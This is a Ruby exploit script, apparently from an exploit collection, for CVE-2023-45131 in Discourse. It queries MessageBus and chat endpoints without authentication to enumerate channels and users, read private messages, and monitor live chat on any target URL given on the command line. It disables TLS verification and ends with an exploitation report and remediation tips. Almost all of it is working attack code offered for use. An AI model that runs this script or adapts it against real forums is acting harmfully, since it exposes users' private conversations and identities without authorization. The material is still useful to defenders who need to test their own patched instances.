#!/usr/bin/env ruby
# Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
# CVE-2023-45131
# CVSS: 7.5 (High)
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
# Author ibrahimsql @ https://twitter.com/ibrahmsql
# Date: 2023-12-14
require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'
class CVE202345131
def initialize(target_url)
@target_url = target_url.chomp('/')
@results = []
@message_bus_client_id = nil
@csrf_token = nil
end
def run_exploit
puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
puts "[*] Target: #{@target_url}"
puts "[*] CVSS Score: 7.5 (High)"
puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"
# Test MessageBus access
test_messagebus_access
test_chat_channel_enumeration
test_private_message_access
test_real_time_monitoring
test_message_history_access
test_user_enumeration_via_chat
generate_report
@results
end
private
def test_messagebus_access
puts "[*] Testing MessageBus unauthenticated access..."
begin
# Get MessageBus client ID
uri = URI("#{@target_url}/message-bus/poll")
response = make_request(uri, 'GET')
if response && response.code == '200'
begin
data = JSON.parse(response.body)
if data.is_a?(Array) && !data.empty?
@message_bus_client_id = extract_client_id(response)
@results << {
vulnerability: "MessageBus Access",
severity: "High",
description: "Unauthenticated access to MessageBus endpoint confirmed",
impact: "Can monitor real-time messages and notifications",
client_id: @message_bus_client_id
}
puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
return true
end
rescue JSON::ParserError
# Try alternative endpoints
test_alternative_messagebus_endpoints
end
end
rescue => e
puts "[!] Error testing MessageBus access: #{e.message}"
end
false
end
def test_alternative_messagebus_endpoints
puts "[*] Testing alternative MessageBus endpoints..."
endpoints = [
"/message-bus/poll",
"/message-bus/subscribe",
"/message-bus/diagnostics",
"/message-bus/long-poll"
]
endpoints.each do |endpoint|
begin
uri = URI("#{@target_url}#{endpoint}")
response = make_request(uri, 'GET')
if response && response.code == '200'
if response.body.include?('message-bus') || response.body.include?('clientId')
@results << {
vulnerability: "Alternative MessageBus Endpoint",
severity: "Medium",
endpoint: endpoint,
description: "Alternative MessageBus endpoint accessible",
impact: "Potential message monitoring capability"
}
puts "[+] Alternative endpoint accessible: #{endpoint}"
end
end
rescue => e
puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
end
end
end
def test_chat_channel_enumeration
puts "[*] Testing chat channel enumeration..."
return unless @message_bus_client_id
begin
# Try to enumerate chat channels
uri = URI("#{@target_url}/message-bus/poll")
# Subscribe to chat channels
data = {
'/chat/new-messages' => -1,
'/chat/channel-status' => -1,
'/chat/user-tracking' => -1,
'clientId' => @message_bus_client_id
}
response = make_request(uri, 'POST', data)
if response && response.code == '200'
begin
messages = JSON.parse(response.body)
if messages.is_a?(Array) && !messages.empty?
chat_channels = extract_chat_channels(messages)
if !chat_channels.empty?
@results << {
vulnerability: "Chat Channel Enumeration",
severity: "High",
channels: chat_channels,
description: "Enumerated accessible chat channels",
impact: "Can identify active chat channels and participants"
}
puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
end
end
rescue JSON::ParserError => e
puts "[!] Error parsing chat channel response: #{e.message}"
end
end
rescue => e
puts "[!] Error enumerating chat channels: #{e.message}"
end
end
def test_private_message_access
puts "[*] Testing private message access..."
return unless @message_bus_client_id
begin
# Try to access private messages
uri = URI("#{@target_url}/message-bus/poll")
# Subscribe to private message channels
data = {
'/private-messages' => -1,
'/chat/private' => -1,
'/notification' => -1,
'clientId' => @message_bus_client_id
}
response = make_request(uri, 'POST', data)
if response && response.code == '200'
begin
messages = JSON.parse(response.body)
if messages.is_a?(Array)
private_messages = extract_private_messages(messages)
if !private_messages.empty?
@results << {
vulnerability: "Private Message Access",
severity: "Critical",
messages: private_messages,
description: "Accessed private chat messages without authentication",
impact: "Complete breach of private communication confidentiality"
}
puts "[+] Private messages accessed: #{private_messages.length} messages found"
# Log sample messages (redacted)
private_messages.first(3).each_with_index do |msg, idx|
puts " [#{idx + 1}] #{redact_message(msg)}"
end
end
end
rescue JSON::ParserError => e
puts "[!] Error parsing private message response: #{e.message}"
end
end
rescue => e
puts "[!] Error accessing private messages: #{e.message}"
end
end
def test_real_time_monitoring
puts "[*] Testing real-time message monitoring..."
return unless @message_bus_client_id
begin
puts "[*] Monitoring for 10 seconds..."
start_time = Time.now
monitored_messages = []
while (Time.now - start_time) < 10
uri = URI("#{@target_url}/message-bus/poll")
data = {
'/chat/new-messages' => 0,
'clientId' => @message_bus_client_id
}
response = make_request(uri, 'POST', data)
if response && response.code == '200'
begin
messages = JSON.parse(response.body)
if messages.is_a?(Array) && !messages.empty?
new_messages = extract_new_messages(messages)
monitored_messages.concat(new_messages)
end
rescue JSON::ParserError
# Continue monitoring
end
end
sleep(1)
end
if !monitored_messages.empty?
@results << {
vulnerability: "Real-time Message Monitoring",
severity: "High",
messages_count: monitored_messages.length,
description: "Successfully monitored real-time chat messages",
impact: "Can intercept live communications"
}
puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
else
puts "[-] No real-time messages detected during monitoring period"
end
rescue => e
puts "[!] Error during real-time monitoring: #{e.message}"
end
end
def test_message_history_access
puts "[*] Testing message history access..."
begin
# Try to access message history through various endpoints
history_endpoints = [
"/chat/api/channels",
"/chat/api/messages",
"/chat/history",
"/api/chat/channels.json"
]
history_endpoints.each do |endpoint|
uri = URI("#{@target_url}#{endpoint}")
response = make_request(uri, 'GET')
if response && response.code == '200'
begin
data = JSON.parse(response.body)
if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
@results << {
vulnerability: "Message History Access",
severity: "High",
endpoint: endpoint,
description: "Accessed chat message history without authentication",
impact: "Historical chat data exposure"
}
puts "[+] Message history accessible via: #{endpoint}"
end
rescue JSON::ParserError
# Check for HTML responses that might contain chat data
if response.body.include?('chat') && response.body.include?('message')
@results << {
vulnerability: "Message History Exposure",
severity: "Medium",
endpoint: endpoint,
description: "Chat-related content found in response",
impact: "Potential information disclosure"
}
puts "[+] Chat-related content found in: #{endpoint}"
end
end
end
end
rescue => e
puts "[!] Error testing message history access: #{e.message}"
end
end
def test_user_enumeration_via_chat
puts "[*] Testing user enumeration via chat features..."
begin
# Try to enumerate users through chat-related endpoints
user_endpoints = [
"/chat/api/users",
"/chat/users.json",
"/api/chat/users",
"/chat/members"
]
user_endpoints.each do |endpoint|
uri = URI("#{@target_url}#{endpoint}")
response = make_request(uri, 'GET')
if response && response.code == '200'
begin
data = JSON.parse(response.body)
if data.is_a?(Hash) && (data['users'] || data['members'])
users = extract_users_from_chat(data)
if !users.empty?
@results << {
vulnerability: "User Enumeration via Chat",
severity: "Medium",
endpoint: endpoint,
users_count: users.length,
sample_users: users.first(5),
description: "Enumerated chat users without authentication",
impact: "User information disclosure"
}
puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
end
end
rescue JSON::ParserError
# Continue with next endpoint
end
end
end
rescue => e
puts "[!] Error testing user enumeration: #{e.message}"
end
end
def extract_client_id(response)
# Extract client ID from response headers or body
if response['X-MessageBus-Client-Id']
return response['X-MessageBus-Client-Id']
end
# Try to extract from response body
begin
data = JSON.parse(response.body)
if data.is_a?(Hash) && data['clientId']
return data['clientId']
end
rescue JSON::ParserError
end
# Generate a random client ID
SecureRandom.hex(16)
end
def extract_chat_channels(messages)
channels = []
messages.each do |message|
if message.is_a?(Hash)
if message['channel'] && message['channel'].include?('/chat/')
channels << message['channel']
elsif message['data'] && message['data'].is_a?(Hash)
if message['data']['channel_id']
channels << "Channel #{message['data']['channel_id']}"
end
end
end
end
channels.uniq
end
def extract_private_messages(messages)
private_msgs = []
messages.each do |message|
if message.is_a?(Hash)
if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
private_msgs << {
channel: message['channel'],
data: message['data'],
timestamp: message['timestamp'] || Time.now.to_i
}
elsif message['data'] && message['data'].is_a?(Hash)
if message['data']['message'] || message['data']['content']
private_msgs << {
content: message['data']['message'] || message['data']['content'],
user: message['data']['user'] || message['data']['username'],
timestamp: message['data']['timestamp'] || Time.now.to_i
}
end
end
end
end
private_msgs
end
def extract_new_messages(messages)
new_msgs = []
messages.each do |message|
if message.is_a?(Hash) && message['data']
new_msgs << {
channel: message['channel'],
data: message['data'],
timestamp: Time.now.to_i
}
end
end
new_msgs
end
def extract_users_from_chat(data)
users = []
if data['users'] && data['users'].is_a?(Array)
data['users'].each do |user|
if user.is_a?(Hash)
users << {
username: user['username'],
id: user['id'],
name: user['name']
}
end
end
elsif data['members'] && data['members'].is_a?(Array)
data['members'].each do |member|
if member.is_a?(Hash)
users << {
username: member['username'] || member['user'],
id: member['id'] || member['user_id']
}
end
end
end
users
end
def redact_message(message)
if message.is_a?(Hash)
content = message[:content] || message['content'] || message[:data] || 'N/A'
user = message[:user] || message['user'] || 'Unknown'
"User: #{user}, Content: #{content.to_s[0..50]}..."
else
message.to_s[0..50] + "..."
end
end
def make_request(uri, method = 'GET', data = nil, headers = {})
begin
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = (uri.scheme == 'https')
http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
http.read_timeout = 10
http.open_timeout = 10
request = case method.upcase
when 'GET'
Net::HTTP::Get.new(uri.request_uri)
when 'POST'
req = Net::HTTP::Post.new(uri.request_uri)
if data
if data.is_a?(Hash)
req.set_form_data(data)
else
req.body = data
req['Content-Type'] = 'application/json'
end
end
req
end
# Set headers
request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
request['X-Requested-With'] = 'XMLHttpRequest'
headers.each { |key, value| request[key] = value }
response = http.request(request)
return response
rescue => e
puts "[!] Request failed: #{e.message}"
return nil
end
end
def generate_report
puts "\n" + "="*60
puts "CVE-2023-45131 Exploitation Report"
puts "="*60
puts "Target: #{@target_url}"
puts "Vulnerabilities Found: #{@results.length}"
if @results.empty?
puts "[+] No chat message access vulnerabilities detected"
else
puts "\n[!] VULNERABILITIES DETECTED:"
@results.each_with_index do |result, index|
puts "\n#{index + 1}. #{result[:vulnerability]}"
puts " Severity: #{result[:severity]}"
puts " Description: #{result[:description]}"
puts " Impact: #{result[:impact]}"
if result[:messages_count]
puts " Messages Found: #{result[:messages_count]}"
end
if result[:channels]
puts " Channels: #{result[:channels].join(', ')}"
end
if result[:endpoint]
puts " Endpoint: #{result[:endpoint]}"
end
end
puts "\n[!] REMEDIATION:"
puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
puts "2. Implement proper authentication for MessageBus endpoints"
puts "3. Review and restrict access to chat-related APIs"
puts "4. Monitor MessageBus access logs for suspicious activity"
puts "5. Consider disabling chat features if not required"
end
puts "\n" + "="*60
end
end
# Run the exploit if called directly
if __FILE__ == $0
if ARGV.length != 1
puts "Usage: ruby #{$0} <target_url>"
puts "Example: ruby #{$0} https://discourse.example.com"
exit 1
end
target_url = ARGV[0]
exploit = CVE202345131.new(target_url)
exploit.run_exploit
end